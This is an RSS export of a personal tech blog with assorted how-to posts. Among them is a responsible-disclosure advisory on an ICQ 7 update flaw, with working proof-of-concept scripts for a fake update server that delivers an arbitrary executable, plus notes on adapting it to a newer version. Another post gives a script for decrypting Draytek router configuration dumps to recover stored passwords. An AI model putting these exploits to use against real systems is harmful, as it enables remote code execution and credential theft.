<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tiwocBlog</title>
	<atom:link href="http://www.tiwoc.de/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.tiwoc.de/blog</link>
	<description></description>
	<lastBuildDate>Sun, 17 Jul 2011 00:01:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Reporting plagiarism to publishers of Computer Science papers</title>
		<link>http://www.tiwoc.de/blog/2011/06/reporting-plagiarism-to-publishers-of-computer-science-papers/</link>
		<comments>http://www.tiwoc.de/blog/2011/06/reporting-plagiarism-to-publishers-of-computer-science-papers/#comments</comments>
		<pubDate>Tue, 07 Jun 2011 22:10:26 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[University]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=237</guid>
		<description><![CDATA[So you have found plagiarized papers and don&#8217;t know who to contact to report your findings? Here are pointers for some of the relevant publishers of Computer Science literature: IEEE: FAQ and email address ACM: Plagiarism policy and email address &#8230; <a href="http://www.tiwoc.de/blog/2011/06/reporting-plagiarism-to-publishers-of-computer-science-papers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So you have found plagiarized papers and don&#8217;t know who to contact to report your findings? Here are pointers for some of the relevant publishers of Computer Science literature:</p>
<ul>
<li>IEEE: <a href="http://www.ieee.org/publications_standards/publications/rights/plagiarism_FAQ.html#sect3">FAQ and email address</a></li>
<li>ACM: <a href="http://www.acm.org/publications/policies/plagiarism_policy">Plagiarism policy and email address</a></li>
<li>Springer: <a href="http://www.springer.com/authors/journal+authors/contact?SGWID=1-1725114-12-809307-0">Contact form</a></li>
<li>Elsevier: I could only find out that authors should contact the editors of the publication.</li>
</ul>
<p>If you have anything to add, feel free to add a comment or drop me a message. Thank you!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2011/06/reporting-plagiarism-to-publishers-of-computer-science-papers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook: How to hide your online status or disable chat</title>
		<link>http://www.tiwoc.de/blog/2011/04/facebook-how-to-hide-your-online-status-or-disable-chat/</link>
		<comments>http://www.tiwoc.de/blog/2011/04/facebook-how-to-hide-your-online-status-or-disable-chat/#comments</comments>
		<pubDate>Mon, 18 Apr 2011 13:29:24 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Misc]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=229</guid>
		<description><![CDATA[After signing in to Facebook, your friends can see that you&#8217;re online by default. You can open the chat window in the lower right corner of the window and choose to go offline, but after your next login to Facebook, &#8230; <a href="http://www.tiwoc.de/blog/2011/04/facebook-how-to-hide-your-online-status-or-disable-chat/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>After signing in to Facebook, your friends can see that you&#8217;re online by default. You can open the chat window in the lower right corner of the window and choose to go offline, but after your next login to Facebook, this setting is lost and you&#8217;re online, again.</p>
<p>This may be not the way to go for multiple reasons:</p>
<ul>
<li>If I&#8217;m logging in to Facebook, this doesn&#8217;t necessarily mean that I want to chat. (People who know me probably also know that I don&#8217;t use instant messaging at all&#8230;)</li>
</ul>
<ul>
<li>Privacy: I don&#8217;t want everyone (of my Facebook friends) to track my use of Facebook.</li>
</ul>
<ul>
<li>When I use a phone with a Facebook app running in the background, I appear to be online and ready for chatting as long as the phone is connected to the Internet (probably always). This happened at least with the official Facebook app for Android.</li>
</ul>
<p>So what to do? A friend of mine was so kind to show me a simple procedure to trick Facebook into hiding my status:<span id="more-229"></span></p>
<ol>
<li>Create at least one list of friends, if you don&#8217;t have any lists yet (Friends -&gt; Edit Friends -&gt; Create a List). You don&#8217;t need to put all of your friends into it, just make sure you have at least one list.</li>
<li>Open the chat window and use the small slider button that is located right of each group name to set your visibility to &#8220;offline&#8221; for each group. Since Facebook provides a virtual list named &#8220;Other Friends&#8221;, you can even hide your status from friends that didn&#8217;t make it on any of your lists.</li>
</ol>
<p>Done! Now, you seem to be offline for all of your friends, even after you log out and in again, even though your status is displayed as &#8220;online&#8221; (green circle in the chat window). To use the chat again, simply open the chat window and toggle the slider buttons as you did in Step 2.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2011/04/facebook-how-to-hide-your-online-status-or-disable-chat/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Clarification concerning the ICQ 7 security issue</title>
		<link>http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/</link>
		<comments>http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 18:37:23 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=222</guid>
		<description><![CDATA[Since ICQ seems to spread inaccurate information about the security issue in ICQ7&#8242;s update process, I think I need to clarify: It is not necessary to successfully attack the users machine or his ISP&#8217;s network first to use my exploit. &#8230; <a href="http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Since ICQ seems to spread inaccurate information about the <a href="http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/">security</a> <a href="http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/">issue</a> in ICQ7&#8242;s update process, I think I need to clarify:</p>
<p><strong>It is not necessary to successfully attack the users machine or his ISP&#8217;s network first to use my exploit.</strong></p>
<p><em>Long version:</em></p>
<p>Imagine a public hotspot at your favorite café. You have ICQ 7 installed on the laptop that you carry with you to get some work done. You start up your machine and connect to the wireless network.</p>
<p>What you don&#8217;t know is that there&#8217;s already someone on the café&#8217;s hotspot network who wants to harm you or other users of ICQ. He runs the attack code and a simple program to spoof the address of ICQ&#8217;s update server on his laptop or even on his mobile phone. The spoofing will affect all clients on the hotspot network, so after your ICQ client starts up, it automatically downloads the malicious update that the attacker wants to run on your computer. Damage done&#8230;</p>
<p>I hope this makes it clear why the &#8220;theoretical&#8221; issue in fact <em>is</em> an issue for people using their computer on networks that are not entirely under their control.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update on the ICQ 7 update issue</title>
		<link>http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/</link>
		<comments>http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 09:46:21 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=217</guid>
		<description><![CDATA[(This is a follow-up to my original posting on a security issue in ICQ 7) This is what I sent to Bugtraq today after testing the new ICQ 7.4: UPDATE: This week, ICQ 7.4 (build 4561) was released. Even though &#8230; <a href="http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>(This is a follow-up to my <a href="http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/">original posting on a security issue in ICQ 7</a>)</p>
<p>This is what I sent to Bugtraq today after testing the new ICQ 7.4:</p>
<pre>UPDATE:

This week, ICQ 7.4 (build 4561) was released. Even though the original
version of my exploit does not work anymore, the vulnerability was not
resolved: ICQ only changed the product ID that is included in the path
to the update file. If every ocurrence of "30009" in both python files
(see original announcement below) is replaced by "30011" and afterwards,
a new update.xml is generated using build_update_files.py, the attack
will still succeed.

Note to ICQ engineers if they're reading this: To really fix the issue,
introduce cryptographically signed update files.</pre>
<p>If you&#8217;re still using the original ICQ client, I can only urge you to switch to another client such as <a href="http://pidgin.im/">Pidgin</a>. I wouldn&#8217;t trust a company that doesn&#8217;t even offer an email address to report security issues and that tries to fix security issues in such an inept way&#8230;</p>
<p>Also have a look at the <a href="http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/">clarification on the security issue&#8217;s impact</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ICQ 7 Update Security Issue</title>
		<link>http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/</link>
		<comments>http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 17:20:44 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=211</guid>
		<description><![CDATA[Update: ICQ 7.4 is still vulnerable. Also have a look at the clarification on the security issue&#8217;s impact. Since the first news website googled me and found my seldomly used blog, here&#8217;s a collection of links: my Bugtraq post (with &#8230; <a href="http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> <a href="http://www.tiwoc.de/blog/2011/01/update-on-the-icq-7-update-issue/">ICQ 7.4 is still vulnerable</a>. Also have a look at the <a href="http://www.tiwoc.de/blog/2011/01/clarification-concerning-the-icq-7-security-issue/">clarification on the security issue&#8217;s impact</a>.</p>
<p>Since the first news website googled me and found my seldomly used blog, here&#8217;s a collection of links:</p>
<ul>
<li><a href="http://www.securityfocus.com/archive/1/515724/30/0/threaded">my Bugtraq post</a> (with broken indentation for the proof of concept code; see below for the original posting)</li>
<li><a href="http://www.securityfocus.com/bid/45805">entry in SecurityFocus Vulnerability Database</a></li>
<li><a href="http://www.kb.cert.org/vuls/id/680540">Vulnerability Note @ US-CERT</a></li>
</ul>
<p>In the news:</p>
<ul>
<li><a href="http://www.heise.de/newsticker/meldung/ICQ-laesst-sich-praeparierte-Updates-unterschieben-1170457.html">heise online: ICQ lässt sich präparierte Updates unterschieben</a></li>
<li><a href="http://www.h-online.com/security/news/item/ICQ-can-be-fed-crafted-updates-1170607.html">The H: ICQ can be fed crafted updates</a></li>
<li><a href="http://www.golem.de/1101/80763.html">Golem: ICQ 7 als Sicherheitsrisiko</a></li>
</ul>
<p>Read on for my original mail to the Bugtraq mailing list:</p>
<p><span id="more-211"></span></p>
<div lang="x-western">
<pre>SUMMARY

The ICQ 7 instant messaging client allows remote code execution due to a
flaw in its automatic update mechanism.

VULNERABLE APPLICATIONS

All versions of ICQ 7 for Windows, up to version 7.2, build 3525 (which
is the current version)

ICQ 6 and older versions were not tested.

Other ICQ clients should not be affected since this is a flaw in the ICQ
software update mechanism and not in the ICQ IM protocol.

DETAILS

ICQ 7 does not check the identity of the update server or the
authenticity of the updates that it downloads through its automatic
update mechanism. By impersonating the update server (think DNS
spoofing), an attacker can act as an update server of its own and
deliver arbitrary files that are executed on the next launch of the ICQ
client. Since ICQ is automatically launched right after booting Windows
by default and it checks for updates on every start, it can be attacked
very reliably.

REPRODUCING

(1) Create the files for the update server (see below,
build_update_files.py)

(2) Run a fake update server (see below, run_update_server.py)

(3) Impersonate the update server. To verify the vulnerability, the
easiest way is to add an entry for update.icq.com to the victim's
\Windows\system32\drivers\etc\hosts file that points to the fake update
server's IP address and clearing it's DNS cache afterwards (ipconfig
/flushdns).

The next victim that is affected by the impersonation and that launches
the ICQ client will now automatically download and install the fake
update. On the next restart of the ICQ software, the fake ICQ.exe will
be executed.

SOLUTION

Stop using ICQ or switch to another IM client until a fix is released
since ICQ 7 does not offer to disable automatic updates.

TIMELINE

2010-11-12
discovered issue

2010-11-13
reported issue to cert.org

2010-11-30
received confirmation from cert.org that they try to contact the vendor

2011-01-13
cert.org publishes vulnerability note because the vendor doesn't react

REFERENCES

Vulnerability Note at cert.org:
<a href="http://www.kb.cert.org/vuls/id/680540">http://www.kb.cert.org/vuls/id/680540</a>

FILES

=== START build_update_files.py ===

#!/usr/bin/env python

# ICQ Update File Creator by Daniel Seither (<a href="mailto:post@tiwoc.de">post@tiwoc.de</a>)
#
# Parameter:
# filename of .exe that should be delivered as an update for ICQ.exe
#
# Overwrites ICQ.zip and updates.xml in the current directory
# without a warning!

import sys, os
from hashlib import md5
from zipfile import ZipFile, ZIP_DEFLATED

if len(sys.argv) &lt; 2:
	print "argument missing"
	sys.exit(1)

f = open(sys.argv[1])
payload = f.read()
f.close()

payload_checksum = md5(payload).hexdigest()
payload_size = len(payload)

f = ZipFile('ICQ.zip', 'w')
f.write(sys.argv[1], 'ICQ.exe', ZIP_DEFLATED)
f.close()

payload_compressed = os.path.getsize('ICQ.zip')

updatesfile = ('&lt;manifest productid="30009" build="9999" serial="9"&gt;'
	+ '&lt;host url=<a href="http://update.icq.com/cb/icq6/30009/">"http://update.icq.com/cb/icq6/30009/"</a>/&gt;'
	+ '&lt;file id="31" path="ICQ.exe" hash="%s" size="%s"&gt;'
	+ '&lt;file format="zip" size="%s" url="ICQ.zip"/&gt;'
	+ '&lt;/file&gt;&lt;/manifest&gt;'
	) % (payload_checksum, payload_size, payload_compressed)

updatesfile_checksum = md5(updatesfile).hexdigest()
updatesfile = '&lt;!--%s--&gt;\r\n%s' % (updatesfile_checksum, updatesfile)

f = open('updates.xml', 'w')
f.write(updatesfile)
f.close

=== END build_update_files.py ===

=== START run_update_server.py ===

#!/usr/bin/env python

# Fake ICQ update server by Daniel Seither (<a href="mailto:post@tiwoc.de">post@tiwoc.de</a>)
#
# Must be run
#  * as root
#  * from a directory containing updates.xml and ICQ.zip
#    created by build_updates_xml.py

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class ICQRequestHandler(BaseHTTPRequestHandler):
	def do_GET(self):
		if self.path == '/cb/icq6/30009/0/updates.xml':
			self._respond_with_file('updates.xml')
		elif self.path == '/cb/icq6/30009/ICQ.zip':
			self._respond_with_file('ICQ.zip')
		else:
			self.send_error(404)

	def _respond_with_file(self, filename):
			f = open(filename)
			self.send_response(200)
			self.end_headers()
			self.wfile.write(f.read())
			f.close()		

httpd = HTTPServer(('', 80), ICQRequestHandler)
httpd.serve_forever()

=== END run_update_server.py ===
</pre>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2011/01/icq-7-update-security-issue/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Adding Playlists to Sansa Fuze using Rhythmbox</title>
		<link>http://www.tiwoc.de/blog/2010/11/adding-playlists-to-sansa-fuze-using-rhythmbox/</link>
		<comments>http://www.tiwoc.de/blog/2010/11/adding-playlists-to-sansa-fuze-using-rhythmbox/#comments</comments>
		<pubDate>Fri, 19 Nov 2010 17:20:18 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=194</guid>
		<description><![CDATA[I use a Sansa Fuze music player that I&#8217;m quite happy with. It supports the USB Mass Storage protocol and thus can be used (and filled with music) just as any other USB flash drive. This means it is fully &#8230; <a href="http://www.tiwoc.de/blog/2010/11/adding-playlists-to-sansa-fuze-using-rhythmbox/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I use a <a href="http://www.sandisk.com/products/sansa-music-and-video-players/sandisk-sansa-fuze">Sansa Fuze</a> music player that I&#8217;m quite happy with. It supports the USB Mass Storage protocol and thus can be used (and filled with music) just as any other USB flash drive. This means it is fully supported by all operating systems since it doesn&#8217;t need proprietary software running on a PC.</p>
<p>However there&#8217;s one thing that tools such as Windows Media Player or iTunes are capable of that might be quite useful: managing playlists on the computer and transferring them to the media player. I recently accidentally found out that this can be achieved with <a href="http://projects.gnome.org/rhythmbox/">Rhytmbox</a>, the music player that comes with Ubuntu and other GNU/Linux distributions:</p>
<ul>
<li>connect player to computer (tested with Sansa Vuze, MSC mode)</li>
<li>fire up Rhythmbox</li>
<li>left column: under &#8220;Devices&#8221;, right click on your player</li>
<li>choose &#8220;New Playlist&#8221;</li>
<li>enter a name for the playlist</li>
<li>drag music files from the player onto the newly created playlist</li>
<li>safely remove the player when done</li>
</ul>
<p>Effect: A new .m3u file is created at the root directory of the player, containing the playlist. It now appears in the list of playlists of your player (Music -&gt; Playlists).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2010/11/adding-playlists-to-sansa-fuze-using-rhythmbox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Converting from or to Unix timestamps</title>
		<link>http://www.tiwoc.de/blog/2010/10/converting-from-or-to-unix-timestamps/</link>
		<comments>http://www.tiwoc.de/blog/2010/10/converting-from-or-to-unix-timestamps/#comments</comments>
		<pubDate>Wed, 13 Oct 2010 06:53:10 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=188</guid>
		<description><![CDATA[Unix timestamps (sometimes also called epoch) encode date and time in a single number, counting the seconds since January 1, 1970, 00:00 (UTC). The format is used througout a lot of software, but how can it be decoded to our &#8230; <a href="http://www.tiwoc.de/blog/2010/10/converting-from-or-to-unix-timestamps/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Unix_time">Unix timestamps</a> (sometimes also called epoch) encode date and time in a single number, counting the seconds since January 1, 1970, 00:00 (UTC). The format is used througout a lot of software, but how can it be decoded to our common format?</p>
<p>Naturally, there are web services like <a href="http://www.epochconverter.com/">Epoch Converter</a>, but how to decode it using the common GNU command line tools? Here&#8217;s a short summary:<span id="more-188"></span></p>
<p><em>Epoch -&gt; Human time:</em></p>
<pre>date -d @1234567890</pre>
<p><em>Human time -&gt; Epoch:</em></p>
<pre>date -d "2010-10-20 20:10" +%s</pre>
<p><em>Current time (in human format and in epoch):</em></p>
<pre>date
date +%s</pre>
<p>Find out more about date formatting using</p>
<pre>man date</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2010/10/converting-from-or-to-unix-timestamps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kostenloses Backup für Windows XP</title>
		<link>http://www.tiwoc.de/blog/2010/09/kostenloses-backup-fur-windows-xp/</link>
		<comments>http://www.tiwoc.de/blog/2010/09/kostenloses-backup-fur-windows-xp/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 19:38:29 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=179</guid>
		<description><![CDATA[Windows Vista und Windows 7 bringen ein einfach verständliches und gut funktionierendes Backup-Programm bereits mit (im Startmenü nach &#8220;Sichern&#8221; suchen), das man einem Nutzer ohne große Computererfahrung einfach an die Hand geben kann. Bei Windows XP ist die Situation leider &#8230; <a href="http://www.tiwoc.de/blog/2010/09/kostenloses-backup-fur-windows-xp/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Windows Vista und Windows 7 bringen ein einfach verständliches und gut funktionierendes Backup-Programm bereits mit (im Startmenü nach &#8220;Sichern&#8221; suchen), das man einem Nutzer ohne große Computererfahrung einfach an die Hand geben kann. Bei Windows XP ist die Situation leider eine andere: Es gibt zwar das Programm ntbackup, das sich auch bei WinXP Home <a href="http://www.wer-weiss-was.de/app/service/faq_navi?goto=1119.427">nachinstallieren lässt</a>, aber es ist der Bedienphilosophie nach anscheinend noch in der Zeit steckengeblieben, in der man für Backups ein Bandlaufwerk benötigte&#8230;</p>
<p>Die Lösung für meine Zwecke ist hier <a href="http://www.lupinho.net/rsyncbackup/">RsyncBackup</a> (das nicht mit der bis auf Groß-/Kleinschreibung identisch benannten Lösung aus der Redaktion der c&#8217;t verwechselt werden sollte). RsyncBackup benötigt als Ziel ein mit NTFS-formatiertes Laufwerk und erstellt Sicherungen, die dank Hardlinks klein sind und auch ohne die Backupsoftware wiederhergestellt werden können. Mehr zu den technischen Hintergründen auf der <a href="http://www.lupinho.net/rsyncbackup/">Webseite zum Programm</a>.</p>
<p><span id="more-179"></span>Nach der Installation von RsyncBackup findet sich im Startmenü ein Eintrag für das Programm. Nun kann man Verzeichnisse auswählen, die in das Backup aufgenommen werden sollen. Zudem können Dateien aufgrund des beinhaltenden Ordners (relativ zum Quellverzeichnis) oder des Dateinamens ausgeschlossen werden. Sinnvoll sind z.B. die im folgenden Screenshot angegebenen Ausschlüsse, wenn das Verzeichnis &#8220;Dokumente und Einstellungen&#8221; gesichert und dabei die Menge der nicht lesbaren Dateien im Backup-Protokoll reduziert werden soll.</p>
<p><a href="http://www.tiwoc.de/blog/wp-content/uploads/2010/09/filter.png"><img class="alignnone size-full wp-image-182" title="filter" src="http://www.tiwoc.de/blog/wp-content/uploads/2010/09/filter.png" alt="" width="435" height="508" /></a></p>
<p>Im unteren Bereich des Programmfensters kann umfangreich eingestellt werden, wohin das Backup geschrieben wird, mit wie vielen grafischen Ausgaben der User behelligt werden soll und nach welchen Regeln alte Backups aufgehoben werden sollen. Wenn man mit den Einstellungen fertig ist, speichert man das Ganze in Form einer RBD-Datei, über die man das Backup jederzeit starten kann.</p>
<p>Die Anfertigung eines Backups geht nun sehr leicht von der Hand:</p>
<ul>
<li>externe Festplatte einstecken</li>
<li>auf Backup-Datei doppelklicken</li>
<li>warten, bis das Backup durchgelaufen ist</li>
<li>externe Festplatte abmelden und abstecken</li>
</ul>
<p>Dieses Vorgehen ist auch Anfängern einfach zu vermitteln.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2010/09/kostenloses-backup-fur-windows-xp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Merkwürdiges Verhalten von Lichtschaltern</title>
		<link>http://www.tiwoc.de/blog/2010/07/merkwurdiges-verhalten-von-lichtschaltern/</link>
		<comments>http://www.tiwoc.de/blog/2010/07/merkwurdiges-verhalten-von-lichtschaltern/#comments</comments>
		<pubDate>Sun, 25 Jul 2010 23:38:05 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Misc]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=164</guid>
		<description><![CDATA[Wechselschalter ermöglichen es, die gleiche Lampe durch zwei Lichtschalter steuern zu können. Wenn alles korrekt verkabelt ist, funktioniert das ungefähr so: Zwischen den beiden Wechselschaltern bestehen zwei Verbindungen. Wenn beide Schalter auf die gleiche Verbindung schalten, fließt Strom (rot), sonst &#8230; <a href="http://www.tiwoc.de/blog/2010/07/merkwurdiges-verhalten-von-lichtschaltern/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://de.wikipedia.org/wiki/Lichtschalter#Wechselschalter">Wechselschalter</a> ermöglichen es, die gleiche Lampe durch zwei Lichtschalter steuern zu können. Wenn alles korrekt verkabelt ist, funktioniert das ungefähr so:</p>
<div id="attachment_165" class="wp-caption alignnone" style="width: 510px"><a href="http://www.tiwoc.de/blog/wp-content/uploads/2010/07/wechselschalter-richtig.png"><img class="size-full wp-image-165" title="wechselschalter-richtig" src="http://www.tiwoc.de/blog/wp-content/uploads/2010/07/wechselschalter-richtig.png" alt="" width="500" height="160" /></a><p class="wp-caption-text">Wechselschalter, korrekt verkabelt</p></div>
<p>Zwischen den beiden Wechselschaltern bestehen zwei Verbindungen. Wenn beide Schalter auf die gleiche Verbindung schalten, fließt Strom (rot), sonst nicht. Wenn man einen beliebigen Schalter umschaltet wird der Zustand der Lampe (an/aus) geändert, so wie man das von einem Lichtschalter erwartet.</p>
<p>Wenn aber einer der Schalter defekt ist und ersetzt werden muss, hat man beim Anschließen der Kabel eine Chance von zwei Dritteln, dass hinterher die folgende Schaltung herauskommt:<span id="more-164"></span></p>
<div id="attachment_167" class="wp-caption alignnone" style="width: 510px"><a href="http://www.tiwoc.de/blog/wp-content/uploads/2010/07/wechselschalter-falsch.png"><img class="size-full wp-image-167" title="wechselschalter-falsch" src="http://www.tiwoc.de/blog/wp-content/uploads/2010/07/wechselschalter-falsch.png" alt="" width="500" height="160" /></a><p class="wp-caption-text">Wechselschalter, falsch verkabelt</p></div>
<p>Im Bild wurde der rechte Schalter getauscht und falsch angeschlossen. Wenn nun der linke Schalter in der falschen Position steht (nach unten), dann kann bei keiner der beiden Stellungen des rechten Schalters Strom fließen.</p>
<p>Um solche Fehlverbindungen zu verhindern sind die beiden Verbindungskabel zwischen den Schaltern in unserem konkreten Fall anders als die beiden Anschlusskabel gefärbt, die in der obigen Grafik rechts und links aus der Schaltung hinaus gehen. Außerdem ist der Schaltplan des Schalters mit der Anschlussbelegung extra auf dem Schalter aufgedruckt; die Anschlüsse sind sogar nochmal einzeln markiert. Trotzdem hat es der Spezialist, der den neuen Schalter angeschlossen hat, falsch gemacht. Wenn man nicht alles selber macht&#8230; <img src='http://www.tiwoc.de/blog/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2010/07/merkwurdiges-verhalten-von-lichtschaltern/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recovery of passwords from Draytek Vigor routers</title>
		<link>http://www.tiwoc.de/blog/2010/05/recovery-of-passwords-from-draytek-vigor-routers/</link>
		<comments>http://www.tiwoc.de/blog/2010/05/recovery-of-passwords-from-draytek-vigor-routers/#comments</comments>
		<pubDate>Mon, 17 May 2010 07:14:25 +0000</pubDate>
		<dc:creator>tiwoc</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.tiwoc.de/blog/?p=151</guid>
		<description><![CDATA[Recently, I needed to recover a DSL password that only persisted in an old  router (Draytek Vigor 2500/We). Since the web interface only shows the username, I tried the backup feature that dumps the entire configuration to a file that &#8230; <a href="http://www.tiwoc.de/blog/2010/05/recovery-of-passwords-from-draytek-vigor-routers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Recently, I needed to recover a DSL password that only persisted in an old  router (Draytek Vigor 2500/We). Since the web interface only shows the username, I tried the backup feature that dumps the entire configuration to a file that you can download. Unfortunately, this data comes in an encrypted form&#8230; which makes an excellent exercise for a student of computer science.<span id="more-151"></span><strong></strong></p>
<p><strong>Dear Draytek developers:</strong> Before implementing code related to crypto, you&#8217;d better get basic knowledge of cryptography and cryptanalysis. I don&#8217;t know if you  have used a secure encryption algorithm, but it was used in <a href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Electronic_codebook_.28ECB.29">ECB</a> mode with a block length of one byte&#8230; which makes it degenerate to a simple <a href="http://en.wikipedia.org/wiki/Substitution_cipher">substitution cipher</a> that can be easily broken, no matter how secure the underlying encryption function is.</p>
<p>I created a codebook holding all pairs of letters and their encrypted counterparts by simply changing a random setting in the web interface, looking at the diff between this version and the previous one with <a href="http://www.cjmweb.net/vbindiff/">VBinDiff</a> (Ubuntu package: vbindiff)  and writing down the encrypted version of the characters I previously entered. Download the codebook: <a href="http://www.tiwoc.de/blog/wp-content/uploads/2010/05/vigorcrypt.txt">vigorcrypt</a> (Syntax: character, ASCII-Code (hex), encrypted (hex)).</p>
<p>Afterwards, a small Python script did the job of decrypting a dump file. It changes all characters for which no entry in the dictionary exists to null bytes and decrypts all others.</p>
<pre>#!/usr/bin/env python

lookup = [0] * 256

for line in file('vigorcrypt.txt', 'r'):
	line = line.split('\t')
	if len(line) == 3:
		if lookup[int(line[2], 16)] != 0:
			print 'Duplicate ciphertext found in line: ', line
		lookup[int(line[2], 16)] = int(line[1], 16)

infile = file('config.cfg','rb')
data = infile.read()
infile.close()

outfile = file('config_decrypted.cfg','wb')
for i in range(len(data)):
	outfile.write(chr(lookup[ord(data[i])]))
outfile.close()
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.tiwoc.de/blog/2010/05/recovery-of-passwords-from-draytek-vigor-routers/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

